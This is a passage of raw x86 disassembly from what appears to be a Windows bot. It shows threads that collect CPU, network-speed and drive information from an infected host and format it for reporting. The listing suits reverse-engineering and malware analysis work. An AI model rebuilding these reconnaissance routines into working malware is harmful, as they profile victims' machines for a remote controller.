		cmp	[ebp+var_FC], 2
		jnz	short loc_406162
		mov	edi, offset a2003 ; "2003"

loc_406162:				; CODE XREF: sub_405FF3+126j
					; sub_405FF3+12Fj ...
		cmp	[ebp+var_F4], 2
		jnz	short loc_40617D

loc_40616B:				; CODE XREF: sub_405FF3+116j
		cmp	[ebp+var_F0], 0
		jz	short loc_40617D
		lea	eax, [ebp+var_F0]
		mov	[ebp+var_1C], eax

loc_40617D:				; CODE XREF: sub_405FF3+10Fj
					; sub_405FF3+176j ...
		call	sub_40338B
		test	eax, eax
		mov	[ebp+var_14], offset aYes ; "Yes"
		jnz	short loc_406194
		mov	[ebp+var_14], offset aNo ; "No"

loc_406194:				; CODE XREF: sub_405FF3+198j
		and	[ebp+var_178], 0
		and	[ebp+var_105], 0
		xor	eax, eax
		cpuid
		mov	[ebp+var_184], ebx
		mov	[ebp+var_180], edx
		mov	[ebp+var_17C], ecx
		lea	eax, [ebp+var_4]
		xor	ebx, ebx
		push	eax
		push	20019h
		push	ebx
		push	offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"...
		push	80000002h
		mov	[ebp+var_4], ebx
		call	dword_412000
		test	eax, eax
		jnz	short loc_406223
		lea	eax, [ebp+var_28]
		mov	[ebp+var_20], ebx
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		push	offset aProcessornames ; "ProcessorNameString"
		mov	[ebp+var_28], 80h
		push	[ebp+var_4]
		call	dword_41200C
		test	eax, eax
		jnz	short loc_40621A
		push	1
		lea	eax, [ebp+var_184]
		push	1
		push	eax
		call	sub_405AD6
		add	esp, 0Ch

loc_40621A:				; CODE XREF: sub_405FF3+212j
		push	[ebp+var_4]
		call	dword_412028

loc_406223:				; CODE XREF: sub_405FF3+1E6j
		cmp	[ebp+arg_0], 1
		mov	ecx, offset byte_4191D0
		mov	eax, offset dword_4141FC
		mov	ebx, ecx
		jz	short loc_406237
		mov	ebx, eax

loc_406237:				; CODE XREF: sub_405FF3+240j
		cmp	[ebp+var_10], 1
		mov	edx, ecx
		jz	short loc_406241
		mov	edx, eax

loc_406241:				; CODE XREF: sub_405FF3+24Aj
		cmp	[ebp+var_18], 1
		jnz	short loc_406249
		mov	eax, ecx

loc_406249:				; CODE XREF: sub_405FF3+252j
		lea	ecx, [ebp+var_50]
		push	ecx
		lea	ecx, [ebp+var_38]
		push	ecx
		push	ebx
		push	[ebp+arg_0]
		push	edx
		push	[ebp+var_10]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_14]
		push	esi
		push	[ebp+var_24]
		call	sub_405ECC
		push	eax
		lea	eax, [ebp+var_184]
		push	eax
		lea	eax, [ebp+var_72C]
		push	[ebp+var_F8]
		push	[ebp+var_FC]
		push	[ebp+var_100]
		push	[ebp+var_1C]
		push	edi
		push	offset dword_41410C
		push	400h
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 54h
		lea	eax, [ebp+var_72C]
		push	eax
		lea	eax, [ebp+var_328]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		push	[ebp+var_32C]
		call	sub_406E6F
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_405FF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4062CF	proc near		; CODE XREF: sub_407A76+125Dp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406305
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aSysinfoThread ;	"Sysinfo thread"
		push	0
		push	esi
		push	offset sub_405FF3
		call	sub_406D58
		add	esp, 10h

loc_406305:				; CODE XREF: sub_4062CF+10j
		pop	esi
		retn
sub_4062CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406307	proc near		; CODE XREF: sub_406373+Ap
					; sub_406373+18p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_40B5E1
		call	sub_4114E2	; clock
		mov	edi, eax
		push	7D0h
		push	0
		lea	eax, [ebp+var_20]
		push	offset a80	; "80"
		push	eax
		call	sub_403C04
		mov	esi, eax
		push	esi
		call	sub_403D92
		add	esp, 20h
		test	esi, esi
		jnz	short loc_406356
		mov	eax, 3E8h
		jmp	short loc_40636F
; ---------------------------------------------------------------------------

loc_406356:				; CODE XREF: sub_406307+46j
		call	sub_4114E2	; clock
		mov	ecx, eax
		mov	eax, 3E8h
		sub	ecx, edi
		cmp	ecx, eax
		jnb	short loc_40636F
		call	sub_4114E2	; clock
		sub	eax, edi

loc_40636F:				; CODE XREF: sub_406307+4Dj
					; sub_406307+5Fj
		pop	edi
		pop	esi
		leave
		retn
sub_406307	endp


; =============== S U B	R O U T	I N E =======================================



sub_406373	proc near		; CODE XREF: sub_40656A:loc_4066A5p
					; sub_408E1A+15Cp ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset dword_413F68
		call	sub_406307
		mov	esi, eax
		mov	[esp+18h+var_18], offset aIQBgEFSsoR ; "©¹ïÕ¡ƒÌ…ØäœééŽË"
		call	sub_406307
		mov	edi, eax
		mov	[esp+18h+var_18], offset dword_413F8C
		call	sub_406307
		mov	ebx, eax
		mov	[esp+18h+var_18], offset dword_413F98
		call	sub_406307
		mov	ebp, eax
		mov	[esp+18h+var_18], offset dword_413FA8
		call	sub_406307
		mov	[esp+18h+var_4], eax
		mov	[esp+18h+var_18], offset dword_413FB8
		call	sub_406307
		add	eax, [esp+18h+var_4]
		pop	ecx
		push	6
		xor	edx, edx
		add	eax, ebp
		pop	ecx
		add	eax, ebx
		add	eax, edi
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		div	ecx
		pop	ecx
		retn
sub_406373	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063E4	proc near		; CODE XREF: sub_40656A:loc_4066CAp

var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		push	ebx
		xor	ebx, ebx
		xor	eax, eax
		cmp	off_413FCC, ebx
		push	esi
		push	edi
		jz	short loc_406409
		mov	ecx, offset off_413FCC

loc_406401:				; CODE XREF: sub_4063E4+23j
		add	ecx, 4
		inc	eax
		cmp	[ecx], ebx
		jnz	short loc_406401

loc_406409:				; CODE XREF: sub_4063E4+16j
		shr	eax, 1
		mov	[ebp+var_4], ebx
		lea	edi, [eax-1]
		jmp	short loc_406415
; ---------------------------------------------------------------------------

loc_406413:				; CODE XREF: sub_4063E4+A0j
		xor	ebx, ebx

loc_406415:				; CODE XREF: sub_4063E4+2Dj
		push	edi
		push	ebx
		call	sub_40B459
		mov	esi, eax
		lea	eax, [ebp+var_114]
		shl	esi, 3
		push	off_413FCC[esi]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_40B5E1
		push	off_413FD0[esi]
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40B5E1
		push	2710h
		push	ebx
		lea	eax, [ebp+var_114]
		push	offset a80	; "80"
		push	eax
		call	sub_403C04
		mov	ebx, eax
		add	esp, 30h
		test	ebx, ebx
		jnz	short loc_40648B
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3
		jb	short loc_406413

loc_406486:				; CODE XREF: sub_4063E4+181j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40648B:				; CODE XREF: sub_4063E4+97j
		lea	eax, [ebp+var_114]
		mov	esi, 200h
		push	eax
		lea	eax, [ebp+var_214]
		push	eax
		push	offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n"
		lea	eax, [ebp+var_414]
		push	esi
		push	eax
		call	sub_41152E	; _snprintf
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_4114BE	; strlen
		push	eax
		lea	eax, [ebp+var_414]
		push	eax
		push	ebx
		call	sub_403D9D
		add	esp, 24h
		call	sub_4114E2	; clock
		and	[ebp+var_4], 0
		mov	dword ptr [ebp+var_14+4], eax
		mov	edi, 1388h

loc_4064DE:				; CODE XREF: sub_4063E4+134j
					; sub_4063E4+147j
		push	edi
		lea	eax, [ebp+var_414]
		push	esi
		push	eax
		push	ebx
		call	sub_403DF6
		add	esp, 10h
		mov	dword ptr [ebp+var_C+4], eax
		test	eax, eax
		jz	short loc_40651A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40651A
		call	sub_4114E2	; clock
		sub	eax, dword ptr [ebp+var_14+4]
		cmp	eax, edi
		jnb	short loc_40651A
		mov	eax, [ebp+var_4]
		cmp	eax, 100000h
		jnb	short loc_40651A
		add	eax, dword ptr [ebp+var_C+4]
		mov	[ebp+var_4], eax
		jmp	short loc_4064DE
; ---------------------------------------------------------------------------

loc_40651A:				; CODE XREF: sub_4063E4+111j
					; sub_4063E4+116j ...
		mov	eax, [ebp+var_4]
		cmp	eax, 2000h
		jnb	short loc_40652D
		push	ebx
		call	sub_403D70
		pop	ecx
		jmp	short loc_4064DE
; ---------------------------------------------------------------------------

loc_40652D:				; CODE XREF: sub_4063E4+13Ej
		and	dword ptr [ebp+var_C+4], 0
		mov	dword ptr [ebp+var_C], eax
		fild	[ebp+var_C]
		fstp	dword ptr [ebp+var_C+4]
		call	sub_4114E2	; clock
		sub	eax, dword ptr [ebp+var_14+4]
		and	dword ptr [ebp+var_14+4], 0
		mov	dword ptr [ebp+var_14],	eax
		fild	[ebp+var_14]
		fmul	flt_412280
		fdivr	dword ptr [ebp+var_C+4]
		call	sub_411678	; _ftol
		push	ebx
		mov	esi, eax
		call	sub_403D70
		pop	ecx
		mov	eax, esi
		jmp	loc_406486
sub_4063E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40656A	proc near		; DATA XREF: sub_40677A+29o

var_A80		= qword	ptr -0A80h
var_A54		= byte ptr -0A54h
var_654		= byte ptr -654h
var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_A8		= byte ptr -0A8h
var_28		= byte ptr -28h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A54h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_250]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		mov	esi, offset dword_41A2E8
		lea	eax, [ebp+var_654]
		push	esi
		push	eax
		call	sub_4114B8	; _mbscpy
		add	esp, 18h
		lea	eax, [ebp+var_C]
		xor	edi, edi
		push	eax
		push	edi
		push	edi
		push	esi
		call	dword_419224
		test	eax, eax
		jnz	short loc_4065E2
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_654]
		push	401h
		push	eax
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+10h]
		push	dword ptr [eax+18h]
		call	dword_419228
		push	[ebp+var_C]
		call	dword_41922C

loc_4065E2:				; CODE XREF: sub_40656A+4Ej
		call	sub_406B29
		mov	ecx, 15180h
		xor	edx, edx
		mov	ebx, ecx
		mov	esi, eax
		div	ebx
		xor	edx, edx
		push	3Ch
		mov	dword ptr [ebp+var_8+4], eax
		mov	eax, esi
		div	ecx
		mov	ecx, 0E10h
		mov	ebx, ecx
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebx
		xor	edx, edx
		mov	[ebp+var_14], eax
		mov	eax, esi
		div	ecx
		pop	ecx
		mov	esi, offset aUnknown_0 ; "Unknown"
		push	esi
		mov	eax, edx
		xor	edx, edx
		div	ecx
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_A8]
		push	eax
		call	sub_4114B8	; _mbscpy
		lea	eax, [ebp+var_28]
		push	esi
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, dword_41921C
		add	esp, 10h
		cmp	eax, edi
		jz	short loc_40667D
		push	edi
		lea	ecx, [ebp+var_A8]
		push	80h
		push	ecx
		lea	ecx, [ebp+var_1C]
		push	ecx
		call	eax
		test	eax, eax
		jz	short loc_40667D
		test	[ebp+var_1C], 1
		jz	short loc_40666D
		push	offset aModem	; "Modem"
		jmp	short loc_406672
; ---------------------------------------------------------------------------

loc_40666D:				; CODE XREF: sub_40656A+FAj
		push	offset aLan	; "LAN"

loc_406672:				; CODE XREF: sub_40656A+101j
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx

loc_40667D:				; CODE XREF: sub_40656A+DDj
					; sub_40656A+F4j
		call	sub_4033F9
		mov	edi, offset aYes ; "Yes"
		mov	esi, offset aNo	; "No"
		test	eax, eax
		mov	[ebp+var_18], edi
		jnz	short loc_406696
		mov	[ebp+var_18], esi

loc_406696:				; CODE XREF: sub_40656A+127j
		call	sub_4032D2
		test	eax, eax
		mov	[ebp+var_10], edi
		jnz	short loc_4066A5
		mov	[ebp+var_10], esi

loc_4066A5:				; CODE XREF: sub_40656A+136j
		call	sub_406373
		cmp	eax, 2EEh
		mov	[ebp+var_20], eax
		mov	ebx, offset aBad ; "Bad"
		jnb	short loc_4066BE
		mov	ebx, offset aAvarage ; "Avarage"

loc_4066BE:				; CODE XREF: sub_40656A+14Dj
		cmp	eax, 1F4h
		jnb	short loc_4066CA
		mov	ebx, offset aGood ; "Good"

loc_4066CA:				; CODE XREF: sub_40656A+159j
		call	sub_4063E4
		cmp	[ebp+arg_0], 1
		mov	edx, offset byte_4191D0
		mov	ecx, offset dword_4141FC
		mov	edi, edx
		jz	short loc_4066E3
		mov	edi, ecx

loc_4066E3:				; CODE XREF: sub_40656A+175j
		cmp	[ebp+var_14], 1
		mov	esi, edx
		jz	short loc_4066ED
		mov	esi, ecx

loc_4066ED:				; CODE XREF: sub_40656A+17Fj
		cmp	dword ptr [ebp+var_8+4], 1
		jnz	short loc_4066F5
		mov	ecx, edx

loc_4066F5:				; CODE XREF: sub_40656A+187j
		push	edi
		mov	dword ptr [ebp+var_8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_28]
		push	esi
		push	[ebp+var_14]
		push	ecx
		push	dword ptr [ebp+var_8+4]
		and	dword ptr [ebp+var_8+4], 0
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		fmul	flt_412284
		fstp	[esp+0A80h+var_A80]
		push	[ebp+var_20]
		push	ebx
		push	[ebp+var_10]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A8]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		push	offset dword_41428C
		lea	eax, [ebp+var_A54]
		push	400h
		push	eax
		call	sub_41152E	; _snprintf
		add	esp, 48h
		lea	eax, [ebp+var_A54]
		push	eax
		lea	eax, [ebp+var_24C]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		push	[ebp+var_250]
		call	sub_406E6F
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40656A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40677A	proc near		; CODE XREF: sub_407A76+124Cp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4067B0
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aNetinfoThread ;	"Netinfo thread"
		push	0
		push	esi
		push	offset sub_40656A
		call	sub_406D58
		add	esp, 10h

loc_4067B0:				; CODE XREF: sub_40677A+10j
		pop	esi
		retn
sub_40677A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4067B2	proc near		; CODE XREF: sub_408E1A+141p
					; sub_408E1A+213p ...

var_1C		= byte ptr -1Ch
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, dword_4143A0
		push	esi
		mov	[ebp+var_4], eax
		xor	esi, esi

loc_4067C3:				; CODE XREF: sub_4067B2+73j
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120D0
		test	eax, eax
		jz	short loc_40681E
		cmp	eax, 1
		jz	short loc_40681E
		cmp	eax, 5
		jz	short loc_4067F8
		cmp	eax, 2
		jz	short loc_4067F8
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120CC
		jmp	short loc_406808
; ---------------------------------------------------------------------------

loc_4067F8:				; CODE XREF: sub_4067B2+27j
					; sub_4067B2+2Cj
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch

loc_406808:				; CODE XREF: sub_4067B2+44j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		push	14h
		pop	ecx
		call	sub_411680
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		add	esi, eax

loc_40681E:				; CODE XREF: sub_4067B2+1Dj
					; sub_4067B2+22j
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jnz	short loc_4067C3
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4067B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40682C	proc near		; DATA XREF: sub_406A08+29o

var_5C8		= dword	ptr -5C8h
var_5C4		= byte ptr -5C4h
var_420		= byte ptr -420h
var_40B		= byte ptr -40Bh
var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5C8h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		add	esp, 10h
		mov	esi, offset aDriveInformati ; "Drive information - "
		lea	edi, [ebp+var_420]
		xor	eax, eax
		push	5
		xor	ebx, ebx
		pop	ecx
		mov	[ebp+arg_0], ebx
		rep movsd
		movsb
		mov	ecx, 0FAh
		lea	edi, [ebp+var_40B]
		rep stosd
		mov	esi, dword_4121EC
		mov	[ebp+var_10], 1
		stosw
		stosb
		mov	eax, dword_4143A0
		mov	[ebp+var_4], eax

loc_406894:				; CODE XREF: sub_40682C+172j
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120D0
		test	eax, eax
		jz	loc_406997
		cmp	eax, 1
		jz	loc_406997
		cmp	eax, 2
		jnz	short loc_4068F8
		mov	edi, offset aRemovable ; "removable"

loc_4068B9:				; CODE XREF: sub_40682C+EEj
		push	8
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		call	sub_4114E8	; memset
		add	esp, 0Ch

loc_4068C9:				; CODE XREF: sub_40682C+115j
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_8]
		push	14h
		pop	ecx
		call	sub_411680
		cmp	[ebp+var_10], 0
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		jnz	short loc_406943
		lea	eax, [ebp+var_420]
		push	offset a_	; ". "
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx
		jmp	short loc_406947
; ---------------------------------------------------------------------------

loc_4068F8:				; CODE XREF: sub_40682C+86j
		cmp	eax, 3
		jnz	short loc_406904
		mov	edi, offset aFixed ; "fixed"
		jmp	short loc_40692B
; ---------------------------------------------------------------------------

loc_406904:				; CODE XREF: sub_40682C+CFj
		cmp	eax, 4
		jnz	short loc_406910
		mov	edi, offset aRemote ; "remote"
		jmp	short loc_40692B
; ---------------------------------------------------------------------------

loc_406910:				; CODE XREF: sub_40682C+DBj
		cmp	eax, 5
		jnz	short loc_40691C
		mov	edi, offset aCdRom ; "cd-rom"
		jmp	short loc_4068B9
; ---------------------------------------------------------------------------

loc_40691C:				; CODE XREF: sub_40682C+E7j
		cmp	eax, 6
		mov	edi, offset aRamdisk ; "ramdisk"
		jz	short loc_40692B
		mov	edi, offset aUnknown ; "unknown"

loc_40692B:				; CODE XREF: sub_40682C+D6j
					; sub_40682C+E2j ...
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	dword_4120CC
		jmp	short loc_4068C9
; ---------------------------------------------------------------------------

loc_406943:				; CODE XREF: sub_40682C+B5j
		and	[ebp+var_10], 0

loc_406947:				; CODE XREF: sub_40682C+CAj
		mov	eax, [ebp+var_C]
		or	eax, [ebp+var_8]
		jz	short loc_406974
		push	[ebp+var_8]
		lea	eax, [ebp+var_4]
		push	[ebp+var_C]
		push	edi
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4143EC
		push	eax
		call	esi
		add	esp, 1Ch
		jmp	short loc_406991
; ---------------------------------------------------------------------------

loc_406974:				; CODE XREF: sub_40682C+121j
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4143DC
		push	eax
		call	esi
		add	esp, 14h

loc_406991:				; CODE XREF: sub_40682C+146j
		add	ebx, [ebp+var_C]
		inc	[ebp+arg_0]

loc_406997:				; CODE XREF: sub_40682C+74j
					; sub_40682C+7Dj
		inc	byte ptr [ebp+var_4]
		cmp	byte ptr [ebp+var_4], 5Ah
		jnz	loc_406894
		cmp	[ebp+arg_0], 0
		jz	short loc_4069BD
		lea	eax, [ebp+var_420]
		push	offset a_	; ". "
		push	eax
		call	sub_4114EE	; _mbscat
		pop	ecx
		pop	ecx

loc_4069BD:				; CODE XREF: sub_40682C+17Cj
		push	ebx
		lea	eax, [ebp+var_420]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_420]
		push	offset dword_4143A4
		push	eax
		call	esi
		add	esp, 14h
		lea	eax, [ebp+var_420]
		push	eax
		lea	eax, [ebp+var_5C4]
		push	offset dword_413B6C
		push	eax
		call	sub_4096CB
		push	[ebp+var_5C8]
		call	sub_406E6F
		add	esp, 10h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40682C	endp


; =============== S U B	R O U T	I N E =======================================



sub_406A08	proc near		; CODE XREF: sub_407A76+10ACp

arg_0		= dword	ptr  4

		push	esi
		push	1A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_406A3E
		push	[esp+4+arg_0]
		lea	eax, [esi+4]
		push	eax
		call	sub_40457C
		pop	ecx
		pop	ecx
		push	offset aDriveinfoThrea ; "Driveinfo thread"
		push	0
		push	esi
		push	offset sub_40682C
		call	sub_406D58
		add	esp, 10h

loc_406A3E:				; CODE XREF: sub_406A08+10j
		pop	esi
		retn
sub_406A08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A40	proc near		; CODE XREF: sub_4111E8+1B7p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4120DC
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4120D8
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406AA1
		jg	short loc_406A68
		cmp	[ebp+var_10], eax
		jbe	short loc_406AA1

loc_406A68:				; CODE XREF: sub_406A40+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406AA1
		jg	short loc_406A74
		cmp	[ebp+var_8], eax
		jbe	short loc_406AA1

loc_406A74:				; CODE XREF: sub_406A40+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4116B0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_4116A0	; ceil
		pop	ecx
		pop	ecx
		call	sub_411678	; _ftol
		jmp	short loc_406AB0
; ---------------------------------------------------------------------------

loc_406AA1:				; CODE XREF: sub_406A40+1Fj
					; sub_406A40+26j ...
		call	dword_4120D4
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx

loc_406AB0:				; CODE XREF: sub_406A40+5Fj
		mov	dword_419670, eax
		leave
		retn
sub_406A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406AB7	proc near		; CODE XREF: sub_405FF3+4Fp
					; sub_407A76:loc_408BBDp ...

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4120DC
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4120D8
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406B18
		jg	short loc_406ADF
		cmp	[ebp+var_10], eax
		jbe	short loc_406B18

loc_406ADF:				; CODE XREF: sub_406AB7+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406B18
		jg	short loc_406AEB
		cmp	[ebp+var_8], eax
		jbe	short loc_406B18

loc_406AEB:				; CODE XREF: sub_406AB7+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4116B0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_4116A0	; ceil
		pop	ecx
		pop	ecx
		call	sub_411678	; _ftol
		leave
		retn
; ---------------------------------------------------------------------------

loc_406B18:				; CODE XREF: sub_406AB7+1Fj
					; sub_406AB7+26j ...
		call	dword_4120D4
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		leave
		retn
sub_406AB7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406B29	proc near		; CODE XREF: sub_40656A:loc_4065E2p
					; sub_407A76+1196p

var_20		= qword	ptr -20h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_4120DC
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_4120D8
		xor	eax, eax
		cmp	[ebp+var_C], eax
		jl	short loc_406B8A
		jg	short loc_406B51
		cmp	[ebp+var_10], eax
		jbe	short loc_406B8A

loc_406B51:				; CODE XREF: sub_406B29+21j
		cmp	[ebp+var_4], eax
		jl	short loc_406B8A
		jg	short loc_406B5D
		cmp	[ebp+var_8], eax
		jbe	short loc_406B8A

loc_406B5D:				; CODE XREF: sub_406B29+2Dj
		push	[ebp+var_4]
		push	[ebp+var_8]
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_4116B0
		mov	dword ptr [ebp+var_18],	eax
		mov	dword ptr [ebp+var_18+4], edx
		fild	[ebp+var_18]
		push	ecx
		push	ecx
		fstp	[esp+20h+var_20]
		call	sub_4116A0	; ceil
		pop	ecx
		pop	ecx
		call	sub_411678	; _ftol
		jmp	short loc_406B90
; ---------------------------------------------------------------------------

loc_406B8A:				; CODE XREF: sub_406B29+1Fj
					; sub_406B29+26j ...
		call	dword_4120D4

loc_406B90:				; CODE XREF: sub_406B29+5Fj
		sub	eax, dword_419670
		leave
		retn
sub_406B29	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B98	proc near		; CODE XREF: sub_4111E8+C2p

var_4		= dword	ptr -4

		and	dword_419690, 0
		push	1980h
		call	sub_4114C4	; malloc
		mov	dword_419698, eax
		mov	[esp+4+var_4], offset dword_419678
		call	sub_4071D2
		pop	ecx
		retn
sub_406B98	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BBC	proc near		; DATA XREF: sub_406C5D+25o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_412288
		push	offset sub_41175A
		mov	eax, large fs:0
		push	eax
